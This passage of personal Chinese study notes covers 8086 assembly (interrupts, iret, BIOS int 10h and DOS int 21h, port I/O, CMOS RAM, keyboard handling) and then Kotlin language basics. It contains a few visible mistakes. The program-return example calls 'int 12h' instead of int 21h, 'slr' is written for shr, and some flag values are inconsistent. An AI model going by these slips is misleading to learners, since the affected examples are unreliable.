  3. TF=0,IF=0
  4. push cs
  5. push ip
  6. (IP)=(N*4) (CS)=(N*4+2)
中断处理程序和iret指令

中断处理程序的编写和子程序相似

  1. 保存用到的寄存器
  2. 处理中断
  3. 恢复用到的寄存器
  4. 用iret指令返回

iret指令的功能用汇编语法描述为:

pop ip

pop cs

popf

iret指令执行后,cpu回到执行中断处理程序前的执行点继续执行程序。

编程处理0号中断

cpu内部产生0号中断信息后,需要通过设置cs和ip到中断处理程序的地址,如果是操作系统管理的pc,我们可以向操作熊进行申请一块内存区域存储。若不通过操作系统,则需要找到一块别的程序不会用到的内存区,将do0传送到其中即可。

前面讲到,内存0000:03FF,大小位1KB的空间是系统存放中断处理程序入口地址的中断向量表。

一般情况下,从0000:0200至0000:02ff的256个字节的空间按所对应的中断向量表项都是空的,操作系统和其他应用程序都不占用。

故而可以将do0存放到0000:0200处

单步中断

在cpu执行完一条指令后,如果检测到标志寄存器Tf位为1,则产生单步中断,引发中断过程。单步中断的中断类型码为1,则它所引发的中断过程如下。

debug提供了单步中断的中断处理程序,当t命令执行指令时,debug使用t命令执行指令时,debug将tf设置为1,时cpu工作在单步中断的情况下。

响应中断的特殊情况

在响应中断的时候,标志寄存器入栈 TF=0,IF=1,在执行完ss指令后,应连续设置sp,所以在执行完设置ss的指令后cpu不会响应中断。

int指令

中断信息可以来自cpu的内部和外部。

int指令

int指令的格式为,int n,n为中断类型码,它的功能时引发中断过程。

cpu执行int n指令,相当于引发一个n号中断过程。执行过程:

  1. 取中断类型码
  2. 标志寄存器入栈,TF=0,IF=0
  3. CS,IP入栈
  4. (IP)=(n*4) (CS)=(n*4+2)
iret指令

功能为:

pop ip

pop cs

popf

BIOS和DOS所提供的中断例程

在系统板的ROM中存放着一套程序,称为BIOS,BIOS中主要包含以下几部分内容。

  1. 硬件系统的检测和初始化程序
  2. 外部中断和内部终端的例程
  3. 用于对硬件设备进行操作的中断例程
  4. 其他和硬件系统相关的中断例程

操作系统DOS也提供了中断例程,从操作系统角度来看,DOS的中断例程就是操作系统向程序员提供的编程资源。

BIOS和DOS提供的中断例程中包含了很多子程序,这些子程序实现了程序员在编程的时候经常需要用到的功能。和硬件设备相关的DOS中断例程,一般都调用了BIOS的中断例程。

BIOS和DOS中断例程的安装过程
  1. 开机后,CPU一加电,初始化(CS)=0ffffh,(IP)=0。ffff:0处有一条跳转指令,cpu执行该指令后,转取执行BIOS中的操作系统检测和初始化程序
  2. 初始化程序将建立BIOS所支持的中断向量,即将BIOS所提供的中断例程的入口地址放入中断向量表中,对于BIOS所提供的中断例程,由于其是固化在ROM中的程序,所以只需要将入口地址登记在中断向量表中即可。
  3. 硬件系统检测和初始化完成后,调用int 19h进行操作系统的引导,从此将计算机交由操作系统控制。
  4. DOS启动后,除完成其他工作外,还将他所提供的中断例程装入内存,并建立相应的中断向量。
BIOS中断例程应用

int 10h中断例程是BIOS提供的中断例程,其中包含了多个和屏幕输出相关的子程序。

一般来说,一个供程序员调用的中断例程中往往包括多个子程序,中断例程内部用传递进来的参数来决定执行哪一个子程序。BIOS和DOS提供的中断例程,都用ah来传递内部子程序的编号。

下面看一下int 10h中断例程的设置光标位置功能。

mov ah,2 ;置光标

mov bh,0 ;第0页

mov dh,5 ;dh中放行号

mov dl,12 ;dl中放列号

int 10h

(ah)表示调用第10h号中断例程中的2号子程序,功能为设置光标位置,可以提供光标所在的行号,列号和页号作为参数。

bh中页号的含义:内存地址空间中,b8000hbffffh共32kb空间,为80*25彩色字符模式的显示缓冲区,一屏的内容在显示缓冲区中共占4000个字节,显示缓冲区分为8页,一页4kb,显示器可以显示任意一页的内容,一般情况下显示第0页的内容。也就是说通常情况下,显示b8000hb8f9f中的4000个字节的内容将出现在显示器上。

DOS中断例程的应用

int 21h中断例程是DOS提供的中断例程,其中包含了DOS提供给程序员在编程时调用的子程序。

我们前面一直使用的是int 21h的4c号功能,即程序返回功能,如下:

mov ah,4ch ;程序返回

mov al,0 ;返回值

int 12h

(ah)=4ch表示调用第21h中断程序的4c号子程序,功能为程序返回,可以提供返回值作为参数。

端口

各种存储器都和cpu的地址线,数据线,控制线相连。cpu在操控它们的时候,把它们都当内存对待,把它们总督看作一个由若干存储单元组成的逻辑存储器,这个逻辑存储器就是我们所称的内存地址空间。

在pc机系统中,和cpu通过总线相连的芯片除各种存储器外,还有以下3种芯片。

  1. 各类接口卡(网卡,显卡)上的接口芯片,它们控制接口卡进行工作
  2. 主板上的接口芯片,cpu通过它们对部分外设进行访问
  3. 其他芯片,用来存储相关系统信息,或进行相关的输入输出处理。

在这些芯片种,都有一组可以由cpu读写的寄存器,这些寄存器,它们在物理上能处于不同的芯片种,但是它们在以下两点上相同。

  1. 都和cpu总线相连,这种链接是通过所在的芯片进行的。
  2. cpu对它们进行读写的时候通过控制线向他它们所在的芯片发出端口读写命令。

从cpu的角度,将这些寄存器当作端口,对它们进行统一编制,从而建立一个独立的端口地址空间,每一个端口在地址空间都由一个地址。cpu可以直接读写以下三个地方的数据。

  1. cpu内部的寄存器
  2. 内存单元
  3. 端口
端口读写

在pc机种,cpu最多可以定位64KB给不同的端口,则端口地址的范围是0~65535

访问端口:

in al,60h ;从60h号端口读取一个字节

执行时与总线相关的操作如下。

  1. cpu通过地址总线将地址60h发出
  2. cpu通过控制线发出端口都命令,选中端口所在的芯片,通知它
  3. 端口所在的芯片将60h端口中的数据通过数据线送给cpu。

在in和out命令中,只能用ax或al存放端口读入的数据或者发送到端口的数据,访问8位端口的时候用al,访问16位端口的时候用ax。

in al,20h

out 20h,al

对0~255以内的端口进行读写

mov dx,3f8h

in al,dx

out dx,al

对256~65535的端口进行读写,端口号在dx中

CMOS RAM芯片

pc机中有一个CMOS RAM芯片,此芯片特征如下。

  1. 包含一个实时钟和一个有128给存储单元的RAM存储器(早期的计算机为64个字节)
  2. 该芯片靠电池供电。所以关机后其内部的实时钟仍能正常工作
  3. 128个字节的RAM中,内部实时钟占0~0d单元来保存时间信息,其余大部分单元用于保存系统配置信息,供系统启用时BIOS程序读取。BIOS也提供了相关程序,使我们可以在开机的时候配置CMOS RAM中的系统信息。
  4. 该芯片内部有两个端口,端口地址为70h和71h,cpu通过这两个端口来读取CMOS RAM。
shl和slr指令

shl是逻辑左移指令,功能为:

  1. 将一个寄存器或内存单元的数据向左移位。

  2. 将最后移出的一位写入CF中

  3. 最低为用0补充

    当移动位数大于1的时候,必须将移动位数放在cl中。

CMOS RAM中存储的时间信息

在CMOSRAM中,存放着当前的时间,年月日时分秒,这六个信息的长度都为一个字节,存放单元为

秒:0 分:2 时:4 日:7 月:8 年:9

这些数据以bcd码存放

外中断

一些信息来自于cpu外部,如,外设的输入到达,相关芯片向cpu发出相应的中断信息,cpu在执行完当前的指令后,可以进啊册到发送过来的中断信息,引发中断过程,处理外设的输入。

可屏蔽中断与不可屏蔽中断

可屏蔽中断时cpu可以不响应的外中断,cpu是否响应可屏蔽中断,要看标志寄存器的IF位的设置,如果IF=1,则cpu在执行完当前指令后响应中断,引发中断过程;如果IF=0,则不响应可屏蔽中断。

不可屏蔽中断是cpu必须响应的外中断,不可屏蔽中断的中断类型码固定为2,所以中断过程中,不需要取中断类型码。

pc机键盘的处理过程

1.键盘上的每一个键相当于一个开关,键盘中有一个芯片对键盘上的每一个键的开关状态进行扫描。

按下一个键的时候,该芯片产生一个扫描码,扫描码说明了按下的键在键盘上的位置。扫描码被送入主板上的相关接口的芯片的寄存器中,该寄存器的端口地址为60h。

松开按下的键,也产生一个扫描码,扫描码说明了松开的键在键盘上的位置,松开按键时产生的扫描码也被送入到60端口中。

一般按下一个键时产生的扫描码为通码,松开一个键时产生的扫描码为断码,扫描码长度为1给字节,通码第七位为0,断码第七位为1。

所以断码=通码+80h

2.相关的输入到达60h端口时,相关的芯片就会发出中断类型码为9的可屏蔽中断信息,如果IF=1,即响应中断,引发终端过程。

3.BIOS提供了int9中断例程,用来进行基本的键盘输入处理,主要的工作如下:

  1. 读出60h端口的扫描码

  2. 如果是字符键的扫描码,将该扫描码和它对应的字符码送入内存中的BIOS缓冲区;如果是控制键(如ctrl)和切换键(capslock)的扫描码,则将其转变为状态字节写入内存中存储状态字节的单元。

  3. BIOS键盘缓冲区时系统启动后,BIOS用于存放int 9中断例程所接受的键盘输入的内存区,该内存区可以接受15个键盘输入,因为int9中断例程除了接受扫描码外,还要产生和扫描码对应的字符码,所以在BIOS键盘缓冲区中,一个键盘输入用一个字单元存放,高位 字节存放扫描码,低位字节存放字符码。0040:17单元存储键盘状态字节。

    0 右shift 置一表示按下

    1 左shift

    2 ctrl

    3 alt

    4 scollLock

    5 NumLock

    6 CapsLock

    7 Insert

kotlin基础

Kotlin基础

Kotlin变量

  • val用来声明值不更改的变量,声明的变量无法重新赋值。
  • var声明值可以改变的变量
例子
1
2
var count: Int = 10
val str: String = "Kotlin"

Kotlin是一种静态类型的语言,类型将在编译时就无法改变。

Null安全

默认情况下,Kotlin变量不持有null值。

例子
1
2
val str: String = null // fails to compile
val str: String? = null // ok

Kotlin条件语句

Kotlin不适用三元运算符,倾向使用条件表达式。

例子
1
2
3
4
5
6
7
8
9
val answerString: String = if (count == 42) {
"I have the answer."
} else if (count > 35) {
"The answer is close."
} else {
"The answer eludes me."
}

println(answerString)

when表达式可以简化if-else

例子
1
2
3
4
5
6
7
val answerString = when {
count == 42 -> "I have the answer."
count > 35 -> "The answer is close."
else -> "The answer eludes me."
}

println(answerString)

函数

例子
1
2
3
4
5
6
7
8
9
fun generateAnswerString(countThreshold: Int): String {
val answerString = if (count > countThreshold) {
"I have the answer."
} else {
"The answer eludes me."
}

return answerString
}
匿名函数
1
2
3
4
5
val stringLengthFunc: (String) -> Int = { input ->
input.length
}

val stringLength: Int = stringLengthFunc("Android")

函数类型为(String) -> Int ,stringLengthFunc为对匿名函数的引用。其接受一个String输入,输出Int。

默认参数

函数也可以作为默认参数,但是其是在运行时计算的。所以不要在这个函数中放文件读取,大内存空间分配一类的操作。

1
2
fun shouldChangeWater (day: String, temperature: Int = 22, dirty: Int = getDirtySensorReading()): Boolean {
...
高阶函数

一个函数可以将另一个函数当作参数。将其他函数用作参数的函数称为“高阶函数”。此模式对组件之间的通信(其方式与在 Java 中使用回调接口相同)很有用。

例子
1
2
3
4
fun stringMapper(str: String, mapper: (String) -> Int): Int {
// Invoke function
return mapper(str)
}

我觉的python中的map和c++中传入函数指针然后进行回调也和这个高阶函数差不多。

其余的高阶函数使用方法
1
2
3
stringMapper("Android", { input ->
input.length
})

如果匿名函数在某个函数定义的最后一个参数

1
2
3
stringMapper("Android") { input ->
input.length
}

定义类
1
class Car
属性
1
2
3
class Car {
val wheel = ListOf<Wheel>()
}

wheel的访问权限是public。

类函数和封装

类使用函数对行为建模。函数可以修改状态,从而帮助您只公开希望公开的数据。这种访问控制机制属于一个面向对象的更大概念,称为“封装”。

在以下示例中,doorLock 属性对 Car 类外部的一切都不公开。要解锁汽车,必须调用 unlockDoor() 函数并传入有效的“钥匙”,如以下示例所示:

1
2
3
4
5
6
7
8
class Car(val wheels: List<Wheel>) {

private val doorLock: DoorLock = ...

fun unlockDoor(key: Key): Boolean {
// Return true if key is valid for door lock, false otherwise
}
}

如果希望自定义属性的引用方式,则可以提供自定义的 getter 和 setter。例如,如果希望公开属性的 getter 而限制访问其 setter,则可以将该 setter 指定为 private

1
2
3
4
5
6
7
8
9
10
11
class Car(val wheels: List<Wheel>) {

private val doorLock: DoorLock = ...

var gallonsOfFuelInTank: Int = 15
private set

fun unlockDoor(key: Key): Boolean {
// Return true if key is valid for door lock, false otherwise
}
}

继承

您可以使用 class 关键字在 Kotlin 中声明类。在以下示例中,LoginFragmentFragment 的子类。您可以通过在子类与其父类之间使用 : 运算符来指明其继承关系:

1
class LoginFragment : Fragment()

替换父类函数需要使用 override关键字

1
2
3
4
5
6
7
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(R.layout.login_fragment, container, false)
}

如需引用父类中的函数,请使用 super 关键字,如以下示例所示:

1
2
3
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
}

可为 null 性和初始化

在前面的示例中,被替换的方法中某些参数的类型以问号 ? 为后缀。这表示传递给这些参数的实际参数可以为 null。

在 Kotlin 中,您必须在声明对象时初始化对象的属性。这意味着,当您获取类的实例时,可以立即引用它的任何可访问属性。不过,在调用 Fragment#onCreateView 之前,Fragment 中的 View 对象尚未准备好进行扩充,所以您需要一种方法来推迟 View 的属性初始化。

您可以使用 lateinit 推迟属性初始化。使用 lateinit 时,您应尽快初始化属性。

以下示例演示了如何使用 lateinitonViewCreated 中分配 View 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class LoginFragment : Fragment() {

private lateinit var usernameEditText: EditText
private lateinit var passwordEditText: EditText
private lateinit var loginButton: Button
private lateinit var statusTextView: TextView

override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)

usernameEditText = view.findViewById(R.id.username_edit_text)
passwordEditText = view.findViewById(R.id.password_edit_text)
loginButton = view.findViewById(R.id.login_button)
statusTextView = view.findViewById(R.id.status_text_view)
}

...
}

伴生对象

伴生对象提供了一种机制,用于定义在概念上与某个类型相关但不与某个特定对象关联的变量或函数。伴生对象类似于对变量和方法使用 Java 的 static 关键字。

在以下示例中,TAG 是一个 String 常量。您不需要为每个 LoginFragment 实例定义一个唯一的 String 实例,因此您应在伴生对象中定义它:

1
2
3
4
5
6
7
8
class LoginFragment : Fragment() {

...

companion object {
private const val TAG = "LoginFragment"
}
}

您可以在文件的顶级定义 TAG,但文件中可能有大量的变量、函数和类也是在顶级定义的。伴生对象有助于连接变量、函数和类定义,而无需引用该类的任何特定实例。

应该是类似static导致所有实例共享一个属性。

属性委托

初始化属性时,您可能会重复 Android 的一些比较常见的模式,例如在 Fragment 中访问 ViewModel。为避免过多的重复代码,您可以使用 Kotlin 的属性委托语法。

1
private val viewModel: LoginViewModel by viewModels()

属性委托提供了一种可在您的整个应用中重复使用的通用实现。Android KTX 为您提供了一些属性委托。例如,viewModels 可检索范围限定为当前 FragmentViewModel

属性委托使用反射,这样会增加一些性能开销。这种代价换来的是简洁的语法,可让您节省开发时间。

不太懂,实操的时候再说。

列表

1
2
3
4
val myList = mutableListOf("tuna", "salmon", "shark")
myList.remove("shark")

> kotlin.Boolen = true

val声明的List常量,不能更改其变量引用的列表,但能更改列表的内容。

数组

kotlin的列表具有可变,不可变两种版本,但是数组只有不可变的,其大小是固定的。若想添加或者删除元素只能复制到新数组。

注意: 使用val定义的数组,无法更改变量引用的数组,但仍然可以更改数组的内容。

arrayOf()

可用来声明数组。数组内部元素类型可以不同。

声明元素类型相同的数组

如intArrayOf()。

两个数组相加
1
2
3
4
5
6
val numbers = intArrayOf(1,2,3)
val numbers3 = intArrayOf(4,5,6)
val foo2 = numbers3 + numbers
println(foo2[5])

> 3
数组列表的嵌套

列表元素可以互相嵌套。

1
2
3
4
5
6
val numbers = intArrayOf(1, 2, 3)
val oceans = listOf("Atlantic", "Pacific")
val oddList = listOf(numbers, oceans, "salmon")
println(oddList)

> [[I@89178b4, [Atlantic, Pacific], salmon]

第一个元素numbers是一个数组,所以println打印的时候会打印其地址。

代码初始化
1
2
3
4
val array = Array (5) { it * 2 }
println(java.util.Arrays.toString(array))

> [0, 2, 4, 6, 8]

it是数组索引,从0开始。

打印数组
1
1
2
3
4
5
6
val school = arrayOf("shark", "salmon", "minnow")
for (element in school) {
print(element + " ")
}

> shark salmon minnow
2
1
2
3
4
5
6
7
for ((index, element) in school.withIndex()) {
println("Item at $index is $element\n")
}

> Item at 0 is shark
Item at 1 is salmon
Item at 2 is minnow
for循环
  1. 尝试不同的步长和范围。您可以按字母顺序指定数字或字符的范围。和在其他语言中一样,您不必前进 1。您可以使用downTo.
1
2
3
4
5
6
7
8
9
10
11
for (i in 1..5) print(i)
12345

for (i in 5 downTo 1) print(i)
54321

for (i in 3..6 step 2) print(i)
35

for (i in 'd'..'g') print (i)
⇒ defg

过滤器

1
2
3
4
5
6
7
val decorations = listOf ("rock", "pagoda", "plastic plant", "alligator", "flowerpot")
fun main() {
println( decorations.filter {it[0] == 'p'})
}

> [pagoda, plastic plant]

eager 和 lazy过滤器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fun main() {
val decorations = listOf ("rock", "pagoda", "plastic plant", "alligator", "flowerpot")

// eager, creates a new list
val eager = decorations.filter { it [0] == 'p' }
println("eager: $eager")
// lazy, will wait until asked to evaluate
val filtered = decorations.asSequence().filter { it[0] == 'p' }
println("filtered: $filtered")
// force evaluation of the lazy list
val newList = filtered.toList()
println("new list: $newList")
}

> eager: [pagoda, plastic plant]
filtered:
kotlin.sequences.FilteringSequence@386cc1c4
new list: [pagoda, plastic plant]

第一个创建一个新列表返回给eager。第二个会在访问的时候创建,并在过滤之后首先返回一个列表元素的序列和应用在这些元素上的过滤器。第三个时强制将lazy list创建并打印。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fun main() {
val decorations = listOf ("rock", "pagoda", "plastic plant", "alligator", "flowerpot")
val lazyMap = decorations.asSequence().map {
println("access: $it")
it
}
println("lazy: $lazyMap")
println("-----")
println("first: ${lazyMap.first()}")
println("-----")
println("all: ${lazyMap.toList()}")
}

lazy: kotlin.sequences.TransformingSequence@1ddc4ec2
-----
access: rock
first: rock
-----
access: rock
access: pagoda
access: plastic plant
access: alligator
access: flowerpot
all: [rock, pagoda, plastic plant, alligator, flowerpot]

首先printlazymap,随后访问第一个元素的时候进去执行map的函数。最后对所有的元素执行map函数并且输出最后的列表。

紧凑函数

当函数返回单个表达式的结果时,可以在=符号后指定函数体,省略花括号{},并省略return.

1
2
3
4
5
fun isTooHot(temperature: Int) = temperature > 30

fun isDirty(dirty: Int) = dirty > 30

fun isSunday(day: String) = day == "Sunday"

其他

Kotlin代码可以编译为JVM字节码,所以可以直接调用Java代码,反之亦然。

当函数无返回值的时候默认返回一个kotlin.unit类型。这是kotlin说明没有值的方法

请我喝杯咖啡吧~

支付宝
微信